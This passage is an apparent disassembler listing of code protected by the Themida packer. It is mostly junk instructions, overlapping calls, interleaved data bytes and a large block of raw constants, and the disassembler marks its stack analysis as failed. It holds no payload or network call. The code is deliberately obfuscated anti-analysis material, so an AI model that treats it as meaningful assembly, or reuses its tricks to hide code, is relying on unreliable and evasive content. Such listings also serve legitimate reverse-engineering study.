db 0C6h, 99h, 0DBh
; ---------------------------------------------------------------------------
loc_5CE44B: ; CODE XREF: sub_5CE3E9+57j
movsx esi, bx
pusha
stc
xor dh, 0DEh
popa
cmc
push ebx
jg loc_5CE45E
push ecx
pop ecx
loc_5CE45E: ; CODE XREF: sub_5CE3E9+6Dj
pop edx
movzx ecx, di
call near ptr loc_5CE467+5
loc_5CE467: ; CODE XREF: sub_5CE3E9+79p
db 2Eh
push 5FAAA518h
sub_5CE3E9 endp ; sp-analysis failed
mov edi, 49CC5587h
and bl, 52h
sub ecx, 3AE40CCEh
mov bx, 2F6h
cmc
jmp loc_5CE48C
; ---------------------------------------------------------------------------
db 3Fh, 2Ch, 0AAh
dd 0AD91C555h
; ---------------------------------------------------------------------------
loc_5CE48C: ; CODE XREF: Themida_:005CE480j
call sub_5CE496
out 0A1h, al ; Interrupt Controller #2, 8259A
cmpsb
cmp [esi], ebx
; =============== S U B R O U T I N E =======================================
sub_5CE496 proc near ; CODE XREF: Themida_:loc_5CE48Cp
mov bh, dl
pop esi
movsx edi, si
push eax
jno loc_5CE4A9
jnp $+6
loc_5CE4A9: ; CODE XREF: sub_5CE496+7j
pop edi
jb loc_5CE4B5
or cx, 2DDCh
loc_5CE4B5: ; CODE XREF: sub_5CE496+14j
movzx esi, ax
jmp loc_5CE4C9
; ---------------------------------------------------------------------------
db 4Eh, 0A1h, 0FEh
; ---------------------------------------------------------------------------
dec edi
push edx
push 6476914Ch
dec esi
push eax
loc_5CE4C9: ; CODE XREF: sub_5CE496+22j
jb $+6
mov ebx, 3E003F03h
xor dx, 0C5B1h
mov edx, ebx
and ax, 0AAB7h
call loc_5CE4F2
test eax, 1D93FA93h
scasb
sar byte ptr [edi-64AFCF6h], cl
xchg eax, ebp
sub_5CE496 endp ; sp-analysis failed
loc_5CE4F2: ; CODE XREF: sub_5CE496+4Ap
mov si, 7750h
pop esi
push esi
mov ebx, 752C1EDAh
pop edx
mov bh, 0B3h
mov bx, ax
jmp loc_5CE51C
; ---------------------------------------------------------------------------
dd 6EB5C6E1h, 896510E3h, 0CCF514F2h, 588380DEh, 1E9FA151h
; ---------------------------------------------------------------------------
loc_5CE51C: ; CODE XREF: Themida_:005CE503j
mov eax, 21439067h
mov ecx, 331F25BCh
jnb loc_5CE532
and edx, 0AD8A61Fh
loc_5CE532: ; CODE XREF: Themida_:005CE526j
jmp loc_5CE546
; ---------------------------------------------------------------------------
db 43h
dd 392AA182h, 0E9228C8Ah, 69C868BEh
db 0EAh, 67h
; ---------------------------------------------------------------------------
loc_5CE546: ; CODE XREF: Themida_:loc_5CE532j
mov di, 0F12Bh
mov eax, 75787DD6h
mov eax, 54515DE0h
mov di, 2226h
mov cl, 0CEh
push ebx
jg loc_5CE563
mov bh, ah
loc_5CE563: ; CODE XREF: Themida_:005CE55Bj
pop edx
stc
adc ebx, 7E1E4E6h
movsx edi, dx
mov ebx, edi
mov esi, ebx
push ebx
jns loc_5CE57F
and eax, 5C4A4D3Ah
loc_5CE57F: ; CODE XREF: Themida_:005CE573j
pop eax
jmp loc_5CE596 ; CODE XREF: Themida_:005CE5DBj
; ---------------------------------------------------------------------------
db 41h, 47h, 0F0h
dd 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h
db 38h, 43h
; ---------------------------------------------------------------------------
loc_5CE596: ; CODE XREF: Themida_:005CE580j
sbb bh, 27h
or dl, 0D1h
xor di, 0A41Ah
jmp loc_5CE5AC
; ---------------------------------------------------------------------------
dw 3646h
dd 8CABC40Bh
; ---------------------------------------------------------------------------
loc_5CE5AC: ; CODE XREF: Themida_:005CE5A1j
mov edx, 24881F39h
mov eax, edi
jmp loc_5CE5C7
; ---------------------------------------------------------------------------
dd 6427F937h, 625378E9h, 538C51DDh
; ---------------------------------------------------------------------------
push esi
push 0Fh
loc_5CE5C7: ; CODE XREF: Themida_:005CE5B3j
mov si, dx
jmp loc_5CE5D5
; ---------------------------------------------------------------------------
db 7Fh
dd 0C25946AAh
db 36h
; ---------------------------------------------------------------------------
loc_5CE5D5: ; CODE XREF: Themida_:005CE5CAj
call sub_5CE5E9
xchg eax, esp
jg short near ptr loc_5CE580+4
dec ebx
lodsb
popa
dec ebx
xchg eax, esi
cdq
retf
; ---------------------------------------------------------------------------
mov edi, 39E38D8Dh
; =============== S U B R O U T I N E =======================================
sub_5CE5E9 proc near ; CODE XREF: Themida_:loc_5CE5D5p
pusha
pusha
popa
movsx esi, bx
popa
pop edx
jmp loc_5CE5FC
; ---------------------------------------------------------------------------
dw 742Ch
dd 26ABD6E5h
; ---------------------------------------------------------------------------
loc_5CE5FC: ; CODE XREF: sub_5CE5E9+8j
jmp loc_5CE606
; ---------------------------------------------------------------------------
xchg eax, ecx
mov dl, 0E4h
test bl, bl
loc_5CE606: ; CODE XREF: sub_5CE5E9:loc_5CE5FCj
mov bl, al
jmp loc_5CE618
; ---------------------------------------------------------------------------
db 0E1h, 1Fh, 1
dd 0C8B9595Fh, 0C5204D80h
; ---------------------------------------------------------------------------
loc_5CE618: ; CODE XREF: sub_5CE5E9+1Fj
movzx ebx, di
jmp loc_5CE628
; ---------------------------------------------------------------------------
dd 393D80D8h, 0C05DA2FBh
; ---------------------------------------------------------------------------
loc_5CE628: ; CODE XREF: sub_5CE5E9+32j
jmp loc_5CE637
; ---------------------------------------------------------------------------
db 42h, 0ACh, 8Eh
dd 564C3747h
db 7Dh, 58h, 3Bh
; ---------------------------------------------------------------------------
loc_5CE637: ; CODE XREF: sub_5CE5E9:loc_5CE628j
pusha
pusha
jge $+6
mov di, dx
popa
jmp loc_5CE659
; ---------------------------------------------------------------------------
dd 94CE339Fh, 0FF6158F3h, 458A38FBh, 0D3C4736Eh
; ---------------------------------------------------------------------------
pop edi
loc_5CE659: ; CODE XREF: sub_5CE5E9+5Aj
popa
xor edi, 3A8976A4h
jmp loc_5CE66C
; ---------------------------------------------------------------------------
db 60h, 2 dup(0FBh)
dd 0A0EC8334h
; ---------------------------------------------------------------------------
loc_5CE66C: ; CODE XREF: sub_5CE5E9+77j
stc
jnb loc_5CE685
call sub_5CE67E
mov al, ds:21FE3BFBh
cld
sub_5CE5E9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CE67E proc near ; CODE XREF: sub_5CE5E9+8Ap
jge $+6
pop ebx
loc_5CE685: ; CODE XREF: sub_5CE5E9+84j
clc
mov ax, dx
stc
jle loc_5CE692
mov eax, edx
loc_5CE692: ; CODE XREF: sub_5CE67E+Cj
mov ebx, ecx
movsx edx, di
adc ebx, 6A02C3CDh
jmp loc_5CE6B1
; ---------------------------------------------------------------------------
xor [edi-21FEC352h], ebx
mov ds:0D927546Bh, eax
and ebx, [esi-21h]
stosb
loc_5CE6B1: ; CODE XREF: sub_5CE67E+1Fj
movsx edx, bx
add di, 0F75Ah
mov cl, 5Bh
pusha
mov esi, 21B3C453h
jns loc_5CE6CA
movsx edi, si
loc_5CE6CA: ; CODE XREF: sub_5CE67E+43j
popa
jge loc_5CE6E5
jmp loc_5CE6E5
; ---------------------------------------------------------------------------
dw 96D5h
dd 0D87BE5B3h, 0E0E4DE88h, 8A098FECh
; ---------------------------------------------------------------------------
cld
loc_5CE6E5: ; CODE XREF: sub_5CE67E+4Dj
; sub_5CE67E+53j
jmp loc_5CE6F3
; ---------------------------------------------------------------------------
dw 5E2Bh
dd 18F86697h
db 15h, 82h, 33h
; ---------------------------------------------------------------------------
loc_5CE6F3: ; CODE XREF: sub_5CE67E:loc_5CE6E5j
; sub_5CE67E+8Ej
xor dx, 0BBFEh
mov bx, 2FB9h
mov bx, 0ECC8h
cld
pusha
call near ptr loc_5CE70C+1
add eax, 0EABD592Bh
loc_5CE70C: ; CODE XREF: sub_5CE67E+84p
jnb short near ptr loc_5CE6F3+4
sub_5CE67E endp ; sp-analysis failed
or al, 0
; ---------------------------------------------------------------------------
dd 0A1A20000h, 0CA1E6D4Ah, 289EFDE2h, 0BF5ACEB1h, 6F788438h
dd 5E861h, 0DFF10000h, 0FDBBCC7h, 0E85BFFB7h, 8, 7290D177h
dd 0A9875146h, 9839D281h, 0F595DC7h, 481h, 61605200h, 56BB6658h
dd 13E99Ah, 37DC0000h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh
dd 76821620h, 0BAE6B017h, 4A9DAA56h, 18840Fh, 0E8500000h
dd 10h, 0EE580AD2h, 37387EFEh, 5F640DB7h, 0DC1A8CC2h, 0B9665A5Eh
dd 66605E6Dh, 7A60F181h, 0AE8h, 54D27500h, 66DEBA0Ch, 8A7BA001h
dd 0E96158F7h, 0Dh, 60328312h, 30AAB95Bh, 2701571Eh, 4850F3Ch
dd 66000000h, 80DDDCBEh, 3FB56EDDh, 5850Fh, 81660000h
dd 8AF6ACF1h, 23C080DAh, 0DE9h, 0E360EA00h, 0BCB975A2h
dd 833D92C5h, 0CA8AFB87h, 2A830Fh, 0DE80000h, 0D6000000h
dd 7771AA30h, 4C873EAFh, 0F1807C06h, 12E9h, 7047C100h
dd 7CF221DCh, 0B34D654Ch, 0B58D574Ah, 5A9061E3h, 33B850F8h
dd 5918D78Ah, 7E9h, 0E21F2C00h, 27EBCEC0h, 0F8D68B66h
dd 390BD681h, 10E877FCh, 1B000000h, 904F8C2Dh, 0F69FC960h
dd 0B39CF318h, 0E982F08Bh, 5, 928469Bh, 0C7815FADh, 60DD99E3h
dd 51C78166h, 0CA8166DBh, 5A529021h, 0E466C081h, 13E90F02h
dd 6D000000h, 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h
dd 0B8601398h, 3A52DB7Ah, 61CE8B66h, 11E8h, 14990900h
dd 4D9C156Ah, 3A683004h, 4A5E5454h, 0BF0F4D14h, 0FA8B59D3h
dd 39BF6657h, 0AE85F0Dh, 20000000h, 0D8E53E9Dh, 2060B142h
dd 0BF0F5F5Eh, 0E78166DBh, 0BB662E4Eh, 8B666577h, 820FF5C7h
dd 6, 0DC4FDE81h, 0C68B074Bh, 0AB07BA66h, 0FE9h, 51608800h
dd 0AB704C99h, 34B0FEE8h, 0FD36A026h, 14E9h, 0F37CC700h
dd 95B52740h, 0F7EE836Eh, 7E0B20D3h, 60984BA3h, 0F18B6641h
dd 68B0F52h, 81000000h, 85ED7C8h, 9E85B5Ch, 9D000000h
dd 0C9A2FCAh, 7D21E180h, 5AC0B70Fh, 238E0Fh, 11E80000h
dd 0D8000000h, 0E6CFB93h, 0CF4D49D1h, 43343BD9h, 0F122C414h
dd 7E9h, 0B8A04800h, 8C62F0ABh, 8166F559h, 8AB413F0h, 0D3BF0FD4h
dd 1A800Fh, 0E9600000h, 13h, 15B93C86h, 2A986529h, 0B4FD50DAh
dd 8739316Ch, 61290181h, 0BE66D08Bh, 0E860E594h, 11h, 7BFFE136h
dd 1372970Ah, 0E7A1D07h, 0E98B0AB7h, 11E9B5h, 0FEE30000h
dd 9DBC3119h, 30CEB762h, 0A14A4DB2h, 587DD362h, 8C98061h
dd 6616CA80h, 0F172D381h, 4CE2BF66h, 0BE852h, 0A38A0000h
dd 6DBB2177h, 0D1E1D085h, 0DBB70FDAh, 8E85A5Bh, 2000000h
dd 272884E3h, 0E9EC796Dh, 14h, 1D330446h, 0DCE9900Eh, 749C2668h
dd 3421C615h, 0A225DA21h, 0BEF78B59h, 4CA27F52h, 70C8BB66h
dd 0B6CB8166h, 66C28B7Ch, 0E963CFBAh, 12h, 4EEF18B2h, 0F07499A9h
dd 76072635h, 486C7DC2h, 0F52AA2Ah, 8059D7BFh, 0D6818CE4h
dd 616C05DFh, 4C53EF81h, 10E83B54h, 0B9000000h, 5AD351FAh
dd 0D7627D50h, 0F2F87003h, 0B78FFD2Dh, 5B515FEFh, 7E8h
dd 0B9F04800h, 56E72521h, 5E8h, 916F9800h, 5E5B7217h, 1DC88166h
dd 8A0FFC0Ah, 0Dh, 8E9h, 9868500h, 13E18203h, 3A5CBABCh
dd 41BB097Fh, 0E96F792Bh, 13h, 0D707FD75h, 242C214Eh, 0C94B32C4h
dd 0BA1E9D40h, 0E9B59998h, 11h, 0C0E93CD6h, 7464844Fh
dd 54E783DDh, 96CCC83h, 0DE8F9h, 0CB660000h, 36EEC0C2h
dd 664898E3h, 665D64DBh, 0E959C78Bh, 0Ah, 54B1EE95h, 0E261C565h
dd 800FEF22h, 3, 0B8C0B70Fh, 185DA7C4h, 9E8h, 53AADA00h
dd 0D6E18F54h, 0F960E8CFh, 0BF665B61h, 0CE886E4h, 53000000h
dd 6EBB0C03h, 65DB6DC9h, 0F43C822h, 0E85FFEB7h, 6, 0CB86D70Fh
dd 5BFC3E22h, 16EE8151h, 5819C25Dh, 9E8h, 0FA17A900h, 55B3860Fh
dd 8B66F954h, 0DF815FCFh, 782E2462h, 8F0Fh, 0B8660000h
dd 0E860F39Ch, 13h, 473B42CAh, 0F447851Ah, 785F1A21h, 0CBABC179h
dd 5A299CD1h, 6860Fh, 0DF810000h, 0E29D651h, 5FF85061h
dd 0DA8B6052h, 0FE8h, 0E9819F00h, 0EBC7E413h, 724BED4Eh
dd 21AE6ABFh, 605A6159h, 3820Fh, 8B660000h, 0DE861C2h
dd 1000000h, 0FE5374B2h, 14D3AB09h, 23C6A714h, 0ACBEF560h
dd 6157768Bh, 0DE96058h, 0DB000000h, 0D3A02996h, 0C262563Bh
dd 0BED7B731h, 5870Fh, 81660000h, 615841C7h, 0E2816660h
dd 7E981B3h, 46000000h, 70A98751h, 5061D82Eh, 0FC3DB866h
dd 10E95Bh, 0E94D0000h, 0C6F964F7h, 88D4749Dh, 5D5B743Ah
dd 0C68B93DFh, 0DE9h, 34E13D00h, 0B734361h, 0DC04A963h
dd 14E9D375h, 82000000h, 0B3493F85h, 0BAAD9F86h, 8FD57D95h
dd 0A6D3BD58h, 577BA58Bh, 5EE4C380h, 6301BB66h, 9E9h, 233A2100h
dd 98CF0631h, 0B70F5594h, 10860FDFh, 0E9000000h, 0Bh, 4E175D23h
dd 0BBA11561h, 668876EDh, 10E9FE8Bh, 2A000000h, 48C963EBh
dd 0C915D9E1h, 0C89F3B3Ah, 0E98E64B6h, 0Dh, 0BD1157AEh
dd 97264592h, 0DCD765FEh, 0CAF2819Eh, 0F3FB470h, 38Dh
dd 0D78B6600h, 0F5F18B66h, 99BCF2BFh, 68B96601h, 5E875h
dd 75850000h, 0F94E0502h, 810FF559h, 3, 0E9D38B66h, 11h
dd 0F4C6EED0h, 0FBAE64D6h, 0D2035939h, 0D5F975E2h, 12E823h
dd 7FFD0000h, 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h
dd 346CBF66h, 0C88B665Eh, 2870Fh, 0C78B0000h, 5E8h, 59BF3700h
dd 6657E359h, 5E6F3EBEh, 0EE28058h, 66D68BFCh, 0B150FB8Bh
dd 0AE959EEh, 4C000000h, 174B70ACh, 0F1CB8BBCh, 58F0F90h
dd 66000000h, 552DD181h, 29BF95B3h, 0F9378F09h, 0DF81DEB2h
dd 796EA866h, 3850Fh, 0F1800000h, 0D810FB3h, 0E9000000h
dd 8, 44F408Bh, 0EA9DDAAh, 82CF8166h, 68C681B7h, 0F82189D3h
dd 10E9h, 0A2C39B00h, 0C7D1E415h, 0D253A88Eh, 0F551492h
dd 0B9D08BABh, 35C40C29h, 9E9h, 0E12F1700h, 0C5DC3476h
dd 66F86972h, 60916CB9h, 0F8B70FF5h, 6097B461h, 6E9h, 0E6304200h
dd 66870FE1h, 8DAAC081h, 0C3BF0F61h, 6658F853h, 24BAC68Bh
dd 0E95F1EB4h, 0Ch, 8CE43A18h, 70318574h, 2ACB0E86h, 0F2C08166h
dd 0C9816603h, 14E934DAh, 65000000h, 53EE074Eh, 0E8FFD898h
dd 723B6FC2h, 576B54CFh, 0FDD47C4h, 148Ch, 0BE800h, 42DF0000h
dd 0E9313C3Eh, 1A7075E3h, 0D38B66B8h, 0B70F6059h, 0CA8B66C6h
dd 8E961h, 5100000h, 0E8BE6954h, 0AE88E9Bh, 4C000000h
dd 4663320Ch, 0E42EC420h, 0E4EC8030h, 0B0D98A5Bh, 18F0F8Ah
dd 0FC000000h, 3B39EF81h, 0FE81BD5h, 0D8000000h, 68CD2151h
dd 50BC0EB1h, 262E56EFh, 66609ACAh, 8A1397BAh, 0B95E61C3h
dd 71FC874Ch, 6056D78Bh, 0EE9h, 0F9955E00h, 827BB7B5h
dd 0CE7F25A9h, 0E8178BE8h, 0Bh, 0FE82245h, 0A3B4EA04h
dd 5F143BF9h, 66575B61h, 0F5ADA8Bh, 588h, 728BBE00h, 0D8B7252Ah
dd 0FCD1B70Fh, 0FD2BF0Fh, 183h, 5FB4F500h, 3ADE981h, 0D58A2B5Eh
dd 0B31A9EBAh, 880F576Ah, 2, 0E95BC4B5h, 0Ch, 9952ED7h
dd 5F5BCE70h, 0DA4E0E33h, 0D281F88Ah, 271B9481h, 0E989DF80h
dd 5
dd 0C5355933h, 9E9B1h, 0E13B0000h, 0AC177BCAh, 0BE607B0Dh
dd 373B6738h, 0F5695B7h, 282h, 58D38B00h, 0AE9h, 0DA8DBA00h
dd 27D97379h, 0B373C204h, 0DF8051ADh, 0B70F5EFFh, 0FE9CEh
dd 54160000h, 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 0E7A8B9CCh
dd 0CFBB0F47h, 0BB76F917h, 7575BB11h, 0CA45E381h, 0BA664D44h
dd 0CF81EDD1h, 0A07FB51h, 6716F081h, 0BF0F1587h, 956BEF6h
dd 8B66238Bh, 75D480C2h, 0F4AB6CB9h, 0E960B011h, 0Ch, 97DACB5Eh
dd 7CAEDF02h, 2F2599E8h, 1E72ABB8h, 0E8F48A6Ah, 0Ch, 68B08280h
dd 0F7B282BAh, 50423107h, 13E858F8h, 0B7000000h, 4F42D66Ah
dd 7F8448F6h, 0E39B6D7h, 0F3CFE7B4h, 0DE913A5h, 0F6000000h
dd 0CD298D23h, 0CD3D6C60h, 0E0D863ACh, 57A4B959h, 8B666530h
dd 12E9F7h, 0DF810000h, 1684F197h, 4F7EFFBEh, 0CFEB56D2h
dd 38E895B7h, 5FD38B56h, 0EE960h, 0B5D00000h, 0AB969D48h
dd 0CFCC3466h, 0E2BC208Eh, 81666061h, 0BF3C78E3h, 2CAD0B31h
dd 34B86661h, 0E8BBB205h, 12h, 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh
dd 8ED385EEh, 0BA662D1Ch, 665B16D6h, 0BE8F98Bh, 0D2000000h
dd 0CF0227F7h, 0C10C1164h, 0F53B7C0h, 8Eh, 815B5800h, 679E24D0h
dd 41D28155h, 0B21CFEB3h, 0F68166C5h, 8CB922C3h, 6061C0E9h
dd 830FFB8Bh, 6, 8B0Fh, 0F610000h, 680h, 36F18100h, 0E838E704h
dd 0Dh, 0DDF60AF8h, 246D881Dh, 9B3656A7h, 2850F0Ch, 50000000h
dd 0BF0F5E5Bh, 0E85151CBh, 11h, 0EF1687B8h, 47C55B7Ch
dd 8EFF8EB4h, 71026990h, 5A585E5Fh, 0DA8BF38Bh, 5E8h, 0DECF1C00h
dd 77BF97E1h, 5B6D74A3h, 13E9h, 42B90300h, 5F89C888h, 0EE061E51h
dd 0EB0F955Ch, 28CD61D6h, 39F2E681h, 8BF87832h, 118F0FF1h
dd 0E9000000h, 0Ch, 0A6D9C003h, 31F21421h, 9A29E047h, 6E9EDB3h
dd 0CD000000h, 0B9FCD4C8h, 66FD8A55h, 6784D281h, 0C554CEBBh
dd 0A2F78012h, 0F6F68166h, 7AD981F5h, 8B1DBA26h, 42DB80DFh
dd 0B8A0Fh, 8F0F0000h, 5, 97DB8166h, 0FBBF0FEBh, 6E8h
dd 8D6F4400h, 813036BDh, 4FBDC5D8h, 0C8815811h, 6D5A43F0h
dd 66D88B66h, 0F85360B9h, 2820Fh, 0CE8B0000h, 0BE9h, 0DF6E3900h
dd 1851F13Ah, 5795B444h, 0FF4EE081h, 0FE86A4Bh, 45000000h
dd 472C0AAEh, 9AC935B5h, 29B83E26h, 0BF0F7F82h, 0DA805EF6h
dd 81F38B10h, 834830D0h, 11E81Bh, 64E00000h, 0AD1E8600h
dd 0F7FB0CC3h, 0C87D4656h, 811B5AE4h, 0DF452EC9h, 8B665B0Ah
dd 5CC680D7h, 8AF78166h, 76BAF960h, 66329B2Eh, 4574F281h
dd 0C51565BAh, 14E829h, 579B0000h, 12E2B1F4h, 8C395415h
dd 23CAB93Bh, 0AFE47B01h, 830FA905h, 4, 0D12B966h, 0D78B665Eh
dd 0BE9h, 2A8C7200h, 0DD695566h, 0E8B6F4E6h, 0EE9h, 0C674F700h
dd 0FD14BAA2h, 1FB789D0h, 8B299787h, 0E9FA8BD7h, 14h, 2A726C9Fh
dd 86F04F6Ch, 2F6398Eh, 7C7F23C8h, 0D906A34Bh, 66D68166h
dd 4A79BEFCh, 0BF0F0812h, 12E8F7h, 53060000h, 93032870h
dd 1A1B3274h, 81A04771h, 0AC7FD364h, 5AE9EC80h, 0E358BEF8h
dd 0DE90E00h, 15000000h, 43FD1972h, 838803EFh, 0C74355E0h
dd 59EF281h, 0E8601493h, 14h, 0EE603FA6h, 61BD4696h, 15AD506Ah
dd 6D446F45h, 43A3F628h, 665A6160h, 6661C78Bh, 2DBBD38Bh
dd 526DCF89h, 0F5BE78Ah, 28Ah, 0FFB8B00h, 586h, 8CA9B800h
dd 13E80CAEh, 8A000000h, 3D509AABh, 319BC149h, 0B224728Eh
dd 4D2ABD19h, 0B9665A32h, 0E95A46E1h, 6, 0FD91750Ah, 0B70F850Bh
dd 4890FF1h, 53000000h, 8A5FC68Bh, 0D840FFDh, 60000000h
dd 8C0Fh, 41B80000h, 6179392Ch, 0FD3B70Fh, 8B66F3BFh, 0AE8D0h
dd 297C0000h, 7D92055Eh, 4EE7E3Ch, 28690BBFh, 0FB8B5A3Ah
dd 810Fh, 0BF0F0000h, 0CBB66D8h, 0C2816632h, 8D0F7132h
dd 0
; ---------------------------------------------------------------------------
jmp loc_5CF386
; ---------------------------------------------------------------------------
db 0A7h, 0Ah, 1Bh
dd 0A195F6B2h, 0FECFBC3Bh
db 6Dh, 4Ah
; ---------------------------------------------------------------------------
loc_5CF386: ; CODE XREF: Themida_:005CF374j
jmp loc_5CF390
; ---------------------------------------------------------------------------
db 3Eh
dd 7B966D32h
; ---------------------------------------------------------------------------
loc_5CF390: ; CODE XREF: Themida_:loc_5CF386j
mov ebx, 21A60F9Bh
clc
adc dl, 0ABh
jns loc_5CF3B3
jmp loc_5CF3B3
; ---------------------------------------------------------------------------
dd 0A5EC56FDh, 69EBA836h, 0CE72B1Bh
db 0FFh, 0BCh, 53h
; ---------------------------------------------------------------------------
loc_5CF3B3: ; CODE XREF: Themida_:005CF399j
; Themida_:005CF39Fj
or edi, 10D4FF49h
adc ecx, 6552275Bh
adc cl, 0AEh
or di, 4463h
call sub_5CF3DD
jecxz short near ptr sub_5CF41B+1
adc eax, 0D839C818h
stosw
setalc
and [ebx+esi*2-26h], esp
scasd
fstp tbyte ptr [edi]
; =============== S U B R O U T I N E =======================================
sub_5CF3DD proc near ; CODE XREF: Themida_:005CF3C7p
pop ebx
movzx eax, ax
jmp loc_5CF3F7
; ---------------------------------------------------------------------------
sahf
or [ebx], ecx
adc [ecx], ecx
xchg eax, esp
xchg eax, esp
icebp
imul esi, [edx], -8
add al, 7Dh
push cs
xor [edx+26h], dh
loc_5CF3F7: ; CODE XREF: sub_5CF3DD+4j
adc bh, 33h
mov edx, ebx
jmp loc_5CF410
; ---------------------------------------------------------------------------
mov ecx, 0AD5B68Bh
mov eax, ds:2E8F7BA2h
cmp eax, 0A0A99707h
loc_5CF410: ; CODE XREF: sub_5CF3DD+1Fj
call near ptr sub_5CF41B
inc eax
inc ebp
in al, dx
and ah, 94h
sub_5CF3DD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CF41B proc far ; CODE XREF: sub_5CF3DD:loc_5CF410p
; Themida_:005CF3CCj
; FUNCTION CHUNK AT 005CF4A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF4AE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005CF4C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005CF4E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CF4F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005CF516 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005CF54E SIZE 0000003C BYTES
mov bx, 1D69h
pop edi
jmp loc_5CF437
; ---------------------------------------------------------------------------
db 21h, 0D1h, 9Ah
; ---------------------------------------------------------------------------
sahf
scasd
fcomip st, st(5)
and eax, 35EFC573h
sti
mov esi, 3C43DC0Ah
loc_5CF437: ; CODE XREF: sub_5CF41B+5j
mov esi, 41758465h
jmp loc_5CF448
; ---------------------------------------------------------------------------
db 45h, 16h, 9Dh
dd 83660004h
; ---------------------------------------------------------------------------
loc_5CF448: ; CODE XREF: sub_5CF41B+21j
mov di, 98D4h
mov ebx, eax
mov ax, si
mov ax, 5D6Ch
jmp loc_5CF46B
; ---------------------------------------------------------------------------
dw 4560h
db 0CCh
db 8Eh, 0A7h, 90h
dd 87386E48h, 0A7FF3D96h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0FDh, 0Dh
; ---------------------------------------------------------------------------
loc_5CF46B: ; CODE XREF: sub_5CF41B+3Aj
; sub_5CF41B+7Aj
mov di, 0A799h
mov di, 9AF8h
jmp loc_5CF47E
; ---------------------------------------------------------------------------
dd 5C7778CDh
db 8Ch, 6Ch
; ---------------------------------------------------------------------------
loc_5CF47E: ; CODE XREF: sub_5CF41B+58j
mov dx, ax
jg loc_5CF4A3
pusha
mov di, 23EBh
call near ptr loc_5CF49D+4
cmp [ecx], ebx
sub al, cl
jbe short loc_5CF46B
sar byte ptr [ebp+3C3D1515h], cl
loc_5CF49D: ; CODE XREF: sub_5CF41B+71p
mov esi, 5BAA9A45h
sub_5CF41B endp ; sp-analysis failed
popa
; START OF FUNCTION CHUNK FOR sub_5CF41B
loc_5CF4A3: ; CODE XREF: sub_5CF41B+66j
jmp loc_5CF4AE
; END OF FUNCTION CHUNK FOR sub_5CF41B
; ---------------------------------------------------------------------------
dd 0A3F2BEB3h
db 9Fh, 0E0h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CF41B
loc_5CF4AE: ; CODE XREF: sub_5CF41B:loc_5CF4A3j
or dh, 0E3h
mov ecx, 1813A9B4h
jmp loc_5CF4C7
; END OF FUNCTION CHUNK FOR sub_5CF41B
; ---------------------------------------------------------------------------
db 3
dd 0E9261FD0h, 0B335171Ah
db 32h, 0B0h, 38h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CF41B
loc_5CF4C7: ; CODE XREF: sub_5CF41B+9Bj
mov edi, 33051BFFh
jnb loc_5CF4D7
mov edi, 4849968Eh
loc_5CF4D7: ; CODE XREF: sub_5CF41B+B1j
jmp loc_5CF4E7
; END OF FUNCTION CHUNK FOR sub_5CF41B
; ---------------------------------------------------------------------------
dd 707B7D4Bh, 4B6BB8E0h
; ---------------------------------------------------------------------------
rcl cl, 2Bh
; START OF FUNCTION CHUNK FOR sub_5CF41B
loc_5CF4E7: ; CODE XREF: sub_5CF41B:loc_5CF4D7j
jmp loc_5CF4F7
; END OF FUNCTION CHUNK FOR sub_5CF41B
; ---------------------------------------------------------------------------
dd 13AE6C9Bh, 1E889823h
db 0BFh, 66h, 10h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CF41B
loc_5CF4F7: ; CODE XREF: sub_5CF41B:loc_5CF4E7j
js $+6
sub bx, 6E61h
mov edx, eax
clc
push ecx
movzx ebx, cx
pop eax
pusha
jmp loc_5CF516
; END OF FUNCTION CHUNK FOR sub_5CF41B
; ---------------------------------------------------------------------------
retn 3EDEh
; ---------------------------------------------------------------------------
db 0A0h
db 1Eh, 0C7h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CF41B
loc_5CF516: ; CODE XREF: sub_5CF41B+F0j
mov edi, 45E48D1Bh
popa
pusha
ja loc_5CF529
jb $+6
loc_5CF529: ; CODE XREF: sub_5CF41B+102j
and ebx, 2C5A927Eh
popa
add edi, 14677BECh
pusha
movzx ebx, bx
push eax
jmp loc_5CF54E
; END OF FUNCTION CHUNK FOR sub_5CF41B
; ---------------------------------------------------------------------------
inc esi
inc byte ptr [esi-390D8C04h]
sbb bl, 0CEh
int 3 ; Trap to Debugger
leave
inc ebx
pop ebx
; START OF FUNCTION CHUNK FOR sub_5CF41B
loc_5CF54E: ; CODE XREF: sub_5CF41B+120j
pop ebx
popa
jg loc_5CF55B
pusha
and bh, 31h
popa
loc_5CF55B: ; CODE XREF: sub_5CF41B+135j
pusha
stc
mov al, 0E9h
popa
movzx ecx, cx
jnp loc_5CF56C
movsx edx, ax
loc_5CF56C: ; CODE XREF: sub_5CF41B+148j
mov esi, 0D16F362h
sub ebx, 76D88676h
and ebx, 773C2C8Eh
call sub_5CF58A
out dx, eax
push ebx
or eax, [ebx+5271075h]
; END OF FUNCTION CHUNK FOR sub_5CF41B
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5CF58A proc near ; CODE XREF: sub_5CF41B+162p
jmp sub_5CF59C
sub_5CF58A endp
; ---------------------------------------------------------------------------
db 0AAh
dd 0E47D0A39h, 0A8B22DB9h, 0F0F4D807h
; =============== S U B R O U T I N E =======================================
sub_5CF59C proc near ; CODE XREF: sub_5CF58Aj
pop ecx
push ecx
cld
pop esi
sub eax, 490E04D9h
call sub_5CF5B5
clc
jno short near ptr loc_5CF5FF+4
fidiv dword ptr [ecx+7]
fist dword ptr [edi+34h]
iret
sub_5CF59C endp ; sp-analysis failed
